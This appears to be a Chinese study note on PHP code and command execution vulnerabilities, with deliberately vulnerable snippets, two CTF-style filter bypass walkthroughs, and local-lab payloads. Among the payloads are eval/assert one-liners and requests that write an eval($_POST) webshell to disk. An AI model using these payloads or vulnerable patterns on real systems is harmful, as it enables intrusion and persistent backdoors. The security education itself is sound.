代码执行漏洞
当web程序在调用一些字符串转化为代码的函数时,没有考虑用户是否可以控制这个字符串,将造成代码执行漏洞。
语言 | 函数 |
---|---|
PHP | eval() assert() preg_repalce() |
Python | exec() |
Java | 没有类似的函数,担忧反射机制,并且有基于反射机制的表达引擎,如:OGNL、SpEL、MVEL等 |
动态代码执行
<?php
function m_print(){
echo '这是一个页面';
}
$_GET['a']($_GET['b']);
?>
http://127.0.0.1/code/code01.php?a=assert&b=m_print()
a传入assert,b传入的字符串被当作命令执行。m_print()
执行,页面显示
http://127.0.0.1/code/code01.php?a=assert&b=phpinfo()
也可以
http://127.0.0.1/code/code02.php?data=fputs(fopen("../uplaoad/shell.php","a"),"<?php phpinfo();?>");
如此,即可显示phpinfo页面
进一步
http://127.0.0.1/code/code01.php?a=assert&b=eval($_POST[1])
eval代码执行
<?php
$data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';
@eval($ret = $data);
echo $ret;
?>
http://127.0.0.1/code/code02.php?data=123
页面显示123
http://127.0.0.1/code/code02.php?data=phpinfo();
eval函数把字符串当作php代码执行
正则代码执行
<html>
<head>
<meta charset="UTF-8">
<title>动态代码执行</title>
</head>
<body>
<?php
$data = $_GET['data'];
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
?>
<form>
<label>请输入你的数据</label>
<input type='text' name='data'/>
<input type='submit' value='提交'/>
</form>
</body>
</html>
代码执行 两个简单绕过
源码1
<?php
highlight_file(__FILE__);
$secret="justasecretkey";
$rootusername="1manity";
$rootpassword="123456";
$flag = "flag{test_123}";
$username=$_GET["username"];
$password=$_GET["password"];
$sha1=$_GET["sha1"];
if(stristr($username,$rootusername)) {
echo "Nonono...";
return;
}
$password=str_replace($rootpassword,"",$password);
$md5=md5($username.$password.$secret);
$yoursha1=sha1($username.$password.$secret);
echo "your sha1 is ".$yoursha1;
if($md5===md5($rootusername.$rootpassword.$secret) && $sha1===sha1($rootusername.$rootpassword.$secret)) {
echo $flag;
}
?>
重点
$sha1=$_GET["sha1"];
一个必须的输入值,用做判断
if(stristr($username,$rootusername))
stristr判断username与rootusername
$password=str_replace($rootpassword,"",$password);
str_replace把password中与rootpassword相同的部分去掉,双写即可绕过,123123456456
if($md5===md5($rootusername.$rootpassword.$secret) && $sha1===sha1($rootusername.$rootpassword.$secret))
可以判断出需要输入正确的username和password才能获得flag。
代码执行漏洞
关键
这里.
点号作用只是用于连接字符串
md5和sha1的计算只是需要一个字符串
所以
因为这里的username和password是连起来一起计算的,所以没有必要设法让username绕过stristr
payload
http://127.0.0.1/md1_sha1.php?username=&password=1manity123123456456
源码2
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
重点
代码执行漏洞
eval函数eval,把字符串按照 PHP 代码来计算
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
一堆过滤
关键
我也是刚想明白
虽然过滤了这么多玩意儿,但是一个eval函数就直接让过滤没用的
直接给参数c
再来个GET,然后就可以肆意妄为了哈哈哈
payload中有一点注意,^<^ ?php ?^>^
使用^
是因为命令行中< >
是两个重定向符,
^
是取消转义字符
常用
payload
http://127.0.0.1/preg_match.php?c=eval($_GET["a"]);&a=system('echo ^<^?php eval($_POST[1]);?^>^ >> rick123.php');
命令执行漏洞
<html>
<head>
<meta charset="UTF-8">
<title>命令执行</title>
</head>
<body>
<form method='post'>
请输入你的ping的ip:<br>
<input type='text' name='ip'/>
<input type="submit" value='提交'/>
</form>
</body>
<?php
if($_POST['ip']){
echo system('ping '.$_POST['ip']);
}
?>
命令连接符
command1 && command2 先1后2
command1 | command2 只执行2
command1 & command2 先1后2